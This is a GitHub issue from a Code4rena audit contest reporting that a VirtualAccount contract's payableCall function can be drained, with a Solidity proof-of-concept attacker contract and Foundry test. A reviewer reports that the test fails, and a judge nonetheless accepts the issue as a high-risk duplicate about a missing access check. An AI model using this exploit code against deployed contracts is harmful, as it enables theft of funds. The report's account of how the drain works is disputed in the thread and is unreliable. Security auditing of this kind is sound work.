Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Attacker can drain user virtual account #579

Closed
c4-submissions opened this issue Oct 6, 2023 · 7 comments
Closed

Attacker can drain user virtual account #579

c4-submissions opened this issue Oct 6, 2023 · 7 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-885 edited-by-warden low quality report This report is of especially low quality satisfactory satisfies C4 submission criteria; eligible for awards upgraded by judge Original issue severity upgraded from QA/Gas by judge

Comments

@c4-submissions
Copy link
Contributor

c4-submissions commented Oct 6, 2023

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85
https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L101

Vulnerability details

Impact

In the virtual Account there is a vulnerability in the payablecall function where attackers can drain the contract using external contracts. The vulnerability comes in the _call.target.call{value: val}(_call.callData) where the val is defined as call.value inputted by an arbitrary user which would be paid by the contract. The initial msg.value does not necessarily have to be up to the sum of the _call.value in the calls as the check is done in the end after contract drains have been completed.

Proof of Concept

Here is a sample POC test

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "../helpers/ImportHelper.sol";

contract BadContract {

  receive() external payable{}
  function call() external payable returns(bool, bytes memory){
    address(this).call{value:msg.value}("");
    console2.log(msg.value);
    return (true, bytes(""));
  }

}

contract MainContractTest is Test {

    VirtualAccount mainContract;
    BadContract badContract;

    constructor() {
        mainContract = new VirtualAccount(address(0), address(10));
        badContract = new BadContract();
    }

    function testPayableCall() public {
        // Fund the main contract with about 10eth
        vm.deal(address(mainContract), 10 ether);

        // Create a data call of length 10 to the bad contract with call.value as 210000
        PayableCall[] memory calls = new PayableCall[](10);
        for (uint256 i = 0; i < 10; i++) {
          bytes memory callData = abi.encodeWithSignature("call()");
          calls[i] = PayableCall({target: address(badContract), value: 0.1 ether, callData: callData});
        }

        // Call the payableCall() function of the main contract
        try mainContract.payableCall{value: 0.1 ether}(calls){
           //expected to fail
        }catch{}

        // Check the balance of the bad contract
        uint256 badContractBalance = address(badContract).balance;
        assertEq(badContractBalance, 1 ether);
        
    }
}

What this test shows is we have a sample virtual account, an attacker can drain the account using the _call.target.call. Even though the contract reverts the external calls will not be reverted.

this can be taken further with the attacking contract re-entering the VirtualAccount and drain it continuously until out-of-gas error.

Tools Used

Manual Review

Recommended Mitigation Steps

I recommend the following mitigation steps:

Assessed type

ETH-Transfer

@c4-submissions c4-submissions added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Oct 6, 2023
c4-submissions added a commit that referenced this issue Oct 6, 2023
@c4-bot-5 c4-bot-5 removed the 3 (High Risk) Assets can be stolen/lost/compromised directly label Oct 6, 2023
@code4rena-admin code4rena-admin added the 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value label Oct 6, 2023
@c4-pre-sort
Copy link

0xA5DF marked the issue as low quality report

@c4-pre-sort c4-pre-sort added the low quality report This report is of especially low quality label Oct 8, 2023
@0xA5DF
Copy link

0xA5DF commented Oct 8, 2023

Even though the contract reverts the external calls will not be reverted.

I doubt this, the PoC has failed:

  Error: a == b not satisfied [uint]
        Left: 0
       Right: 1000000000000000000

@0xA5DF
Copy link

0xA5DF commented Oct 8, 2023

Side note: there's a missing import, here's the full code

File: test/ulysses-omnichain/myTests/drain.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "../helpers/ImportHelper.sol";
import "src/VirtualAccount.sol";

contract BadContract {

  receive() external payable{}
  function call() external payable returns(bool, bytes memory){
    address(this).call{value:msg.value}("");
    console2.log(msg.value);
    return (true, bytes(""));
  }

}

contract MainContractTest is Test {

    VirtualAccount mainContract;
    BadContract badContract;

    constructor() {
        mainContract = new VirtualAccount(address(0), address(10));
        badContract = new BadContract();
    }

    function testPayableCall() public {
        // Fund the main contract with about 10eth
        vm.deal(address(mainContract), 10 ether);

        // Create a data call of length 10 to the bad contract with call.value as 210000
        PayableCall[] memory calls = new PayableCall[](10);
        for (uint256 i = 0; i < 10; i++) {
          bytes memory callData = abi.encodeWithSignature("call()");
          calls[i] = PayableCall({target: address(badContract), value: 0.1 ether, callData: callData});
        }

        // Call the payableCall() function of the main contract
        try mainContract.payableCall{value: 0.1 ether}(calls){
           //expected to fail
        }catch{}

        // Check the balance of the bad contract
        uint256 badContractBalance = address(badContract).balance;
        assertEq(badContractBalance, 1 ether);
        
    }
}

@alcueca
Copy link

alcueca commented Oct 23, 2023

I think this is valid, and part of the group of duplicates about payableCall missing the requiresApprovedCaller modifier.

@c4-judge
Copy link
Contributor

alcueca marked the issue as duplicate of #888

@c4-judge c4-judge added duplicate-888 duplicate-885 3 (High Risk) Assets can be stolen/lost/compromised directly upgraded by judge Original issue severity upgraded from QA/Gas by judge and removed duplicate-888 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value labels Oct 23, 2023
@c4-judge
Copy link
Contributor

alcueca changed the severity to 3 (High Risk)

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Oct 26, 2023
@c4-judge
Copy link
Contributor

alcueca marked the issue as satisfactory

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-885 edited-by-warden low quality report This report is of especially low quality satisfactory satisfies C4 submission criteria; eligible for awards upgraded by judge Original issue severity upgraded from QA/Gas by judge
Projects
None yet
Development

No branches or pull requests

7 participants